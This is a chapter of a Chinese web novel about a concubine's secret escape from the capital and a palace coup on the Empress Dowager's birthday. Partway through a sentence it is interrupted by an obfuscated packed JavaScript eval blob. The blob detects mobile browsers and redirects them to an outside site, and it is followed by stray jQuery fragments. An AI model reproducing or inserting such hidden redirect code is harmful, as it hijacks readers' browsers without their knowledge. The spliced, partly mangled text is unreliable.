33. 033

为了屋子里的这个秘密,云舒始终心绪难宁,紧张不安。冷静下来后,她命下人将院子里的青龙岩石雕鱼缸移到了房内,就压在那块连接着地道的砖石上。


她假装在房间里看鱼解闷,实际是怕董竟冒冒失失地从地道里钻出来,思来想去仍觉得不妥,又传令下去,说身体不适,谢绝一切客访。


又把从前做丫鬟时的衣裳鞋子翻出来,选了件最不起眼的,把银票和一些碎银缝了进去,最后拿出薛恒给她的户籍,董竟送来的路引,压在了镜匣下面。


万事俱备,只差一个千载难逢的机会。


很快,这个机会就来了。


腊月初十,太后七十大寿,普天同庆。


借着这个契机,皇后娘娘苦苦哀求,终于求得太后首肯,准许梁王离开封地,入宫贺寿。


在礼部任职的薛怀这几天忙得不可开交,薛恒亦是日理万机,好不容易到云舒院里一趟,已是后半夜,到底没忍心折腾她,梳洗更衣后便抱着她睡了。


薛恒一上床,云舒便醒了过来,但她没有动,硬是闭着眼睛挨到了天亮。不知过了多久,薛恒也醒了过来,长臂一伸将她拽进怀里,便是一阵缠绵。


云舒香汗涔涔,纤腰款摆,细细喘息,待得薛恒尽兴,人已是骨软筋麻,气力用尽。


薛恒翻身下床,一边穿衣服,一边笑眯眯地看着她道:“可要再休息一会儿?”


云舒缩在锦被里,有气无力道:“世子要入宫了吗?”


“嗯。”薛恒道,“今日太后寿辰,怕是要很晚才能回来。”


云舒暗暗攥紧了被子。


“很晚么?”她问。


薛恒一听,抬起眼细细打量了打量云舒,“怎么?舍不得我走?”


云舒愣了愣,轻笑,“云舒很久没有见到世子了。”顿了片刻,又道,“云舒能跟着世子一起入宫吗?”


薛恒目光微荡,含笑坐在了床上。


他将云舒抱入怀中,一下一下抚摸着她的头发,道:“这些天我一直在忙,冷落你了,等我忙完了这阵子,便带你出去玩好不好?”


云舒故意装出依依不舍的样子,在薛恒怀里蹭了蹭,“云舒自知身份低微,不配与世子一同入宫,不过是白问世子一句罢了,世子不必在意。”


她抬起头,乖巧地道:“云舒等世子回来。”


薛恒低头在她额头上亲了亲,“好。”


暮色来临,云舒早早用完晚膳,之后叫人将卧房里的鱼缸移了出去。


“云舒姐姐,好端端的,怎么又不要这鱼缸了呀?”汐月擦拭着砖面上的印痕,问。


她每擦一下,云舒的心就跟着猛跳一下,想到一会儿就要从这里逃出去,更是紧张得坐立难安,“没什么,就是看腻了,不想要了。”


“那我再找些有趣的摆进来,给姐姐解闷。”


“嗯。”


“对了,那董竟来找姐姐好几趟,看起来着急的很,也不知有什么事。”汐月冷不丁道。


虽有所预料,但云舒还是被汐月的话吓出一身冷汗,“可将他打发走了?”


“姐姐先前有令,说谢绝一切来客,奴才们自然将他轰走了。”汐月道,“只是那董竟不识好歹,明明撞了一鼻子灰,还敢在府门外徘徊。”


“不必理他,他几番纠缠,不过是想从我手里多讹些银子罢了。”


云舒假装镇定地往美人榻上一歪,不必多说什么,下人们便自觉退了出去,让她安安静静地休息。


合窗,关门,熄灯,一片黑暗之中,云舒爬下床榻,悄悄更换了衣物,撬开地砖,一点点钻了进去。


地道内阴森昏暗,充满土腥味,呛得人喘不过气来,好在足够宽阔。她点燃蜡烛,弯着腰,以最快的速度朝前走。


砰砰,砰砰,她的心在黑暗之中狂跳。密闭的环境无限放大着心中的恐惧,她颤抖,害怕,紧张,却因内心对自由的渴望而变得无畏,踉踉跄跄地飞快前行。


不知走了多久,终于看到一架梯子。


她不敢停歇,忙爬上梯子,弃了火折子,双手撑住头上面的石板用力一顶,终于顶出一道缝隙。


拼命移动石板,总算从地道爬了出来,定神一瞧,发现这里竟然是董大海家的柴房,不由倒吸一口凉气,心道好险好险。


得亏是柴房,若是董竟的卧房,她岂非才出虎穴便进狼窝?


虽然她有所准备,在腰间别了一把匕首,但真动起手来,她未必能从董竟手里顺利脱身,即便顺利脱身,也会惊动他人,想离开京城就难了。


好在上天垂怜!


抹了一把额上的冷汗,云舒离开柴房,蹑手蹑脚穿过庭院,打开门闩,神不知鬼不觉地离开了董家大门,奔往西城楼。


每晚子正,宫门下钥,城门锁闭,闲杂人等不得外出。此时离子正还有一段时间,只要一切顺利,她今晚就能离开京城。


穿越以来,这还是她头一次在外面跑了这么久,她来不及欣赏京城冬夜的美景,一路朝路人打听,千辛万苦才来到西城楼前,见到了巍峨高耸的城门。


她筋疲力尽地跑向城门,却被守城士兵拦住去路,“什么人?”


云舒连忙道:“我是京中百姓,有要事出城去办。”


“城门锁闭,不可通行。”士兵道,“你回去吧。”


云舒一怔,“城门锁闭?可还没到子时啊。”


“今日是太后寿辰,亥时之后,任何人都不许离开京城。”


“什么?”云舒大吃一惊,心道怎么会这么倒霉,好不容易从英国公府里逃了出来,却遇上这样的事。


转念一想,此时只怕还不到亥时,便从荷包里摸出两片金叶子,掖在户籍路引下递给士兵,陪着笑脸道:“大人,这是我的户籍路引,我确实有紧要的事情要办,还请大人通融一下,让我出城。”


说完将东西塞进了士兵手中。


士兵原本一脸不耐烦,待看到那两片金光闪闪的金叶子后,立刻换了副嘴脸,“好吧,那你赶紧走,被别人发现我不好交代。”


“嗳!多谢大人!”


云舒不敢犹豫,穿过城门,一路向西而去……


今夜注定无眠。


晨光熹微,宫阶血影未消,浓重的血腥气自太极殿散出,飘向四面八方,侵染着皇宫内的每一个角落。


无人得以预料,就在刚刚,在太后娘娘的七十岁寿宴上,梁王发动宫变,逼迫皇帝禅位。


此事是由梁王主导,皇后与魏渊协助,筹划多时,策反禁军实施的逼宫。好在宿卫军与羽林卫救驾及时,一场厮杀之后,成功营救出太后与皇帝。


皇后当场畏罪自杀,梁王却在同党的掩护下逃了出去,不知去向。与此同时,太子在东宫遭遇行刺,随老夫人入宫赴宴的四


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643604|171013||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


小姐薛茵下落不明,显王世子李君赫也不知去了哪里。


迎着薄薄的晨曦,一身戾气的薛恒踏进东宫,径直走向了太子寝殿。


左达与东宫侍卫就守候在寝殿外,见薛恒来了,上前一步拱拱手道:“世子。”


薛恒双眼微红,一张脸冷得能结出冰来,“太子如何了?”


左达道:“太子左胸中了一剑,太医正在救治。”


薛恒目光一厉,“抓住刺客没有?”


左达赧然,“尚未,但刺客行刺时,羽林军已将东宫重重包围,除非那两名刺客会飞天遁地之术,否则决计无法从东宫逃出去。”


“既然逃不出去,为何还未找到?”


“这……”左达低下头,“是奴才无能。”


薛恒沉着脸沉思了片刻,道:“继续找。”


“是。”


一声令下,东宫侍卫齐齐出发,掘地三尺,寻找刺客踪迹。


薛恒半阖双目立在殿门前,看着天空泛起鱼肚白,又因乌云团聚而昏暗下来,消散了骄阳洒向东宫的光。


不知过了多久,东宫侍卫在他面前集结,左达焦虑不安地来到他身前,禀报:“世子,还没有找到。”


薛恒目光沉沉地望着乌压压的东宫侍卫。


这些侍卫由他精心挑选,暗中操练,只为确保太子的安全。相处多时,最是熟悉,奈何此刻天光太暗,他无法看清他们所有人的脸。


便一抬手,随意地打了个手势。


一旁的左达看见了,立刻大声命道:“长蛇阵!”


侍卫闻令而动,迅速整合排列,摆出一字长蛇阵,偏偏有两名侍卫一脸茫然地愣在原地,待侍卫列阵整齐后仓皇入阵,却不得章法,暴露刺客身份。


“在那!”左达喝道,“将刺客拿下!”


东宫侍卫变阵困敌,刺客抵挡不过,一跃而起,便是要逃。


弓箭手迅速上前,对准刺客的身影,万箭齐发。


既然被梁王派来行刺太子,这两名刺客自然不是等闲之辈,他们抽出腰间软剑抵挡箭雨,借助高超的轻功躲闪跳跃,硬是飞上宫墙,试图匿逃。


百米之外,薛恒走下宫阶,从一名侍卫的手中夺走了长弓。


左达忙从箭囊中取出两支箭,双手递给薛恒,薛恒将两支箭架在弓上,一点点扬起双臂。


浓黑的眸子杀气毕现,绷紧的弓弦催动箭矢破风而出,带着泠泠寒光流星般划破天空,分别穿过两个刺客的身体。


鲜血染红宫墙,两名刺客倒在宫墙下,垂死挣扎。


“世子,刺客尚有一口气在。”左达道,“他们杀了侍卫,换了侍卫的衣服混在东宫,着实狡猾!还好世子睿智,将他们的奸计识破。”


成功抓获了刺客,可薛恒的神色却没有松弛半分,他将长弓还给侍卫,道:“把人交给刑部崔大人,未交代出梁王下落和叛党前,别叫他们死了。”


“是。”


左达即刻命人将刺客押了下去,宫门一开,候在宫门外的左英立刻奔了进来,表情复杂地在薛恒耳边细语了一番。


薛恒一壁揉搓着指腹上被弓弦勒出的红痕,一壁静静地听着,泛着杀气的眸子里先是闪出一丝不可置信,接着涌出滔天怒气,最终冷笑着回归平静。


“很好,很好。”他一连说了两个很好,放下手,抬眼看向宫外,道,“去紫宸宫。”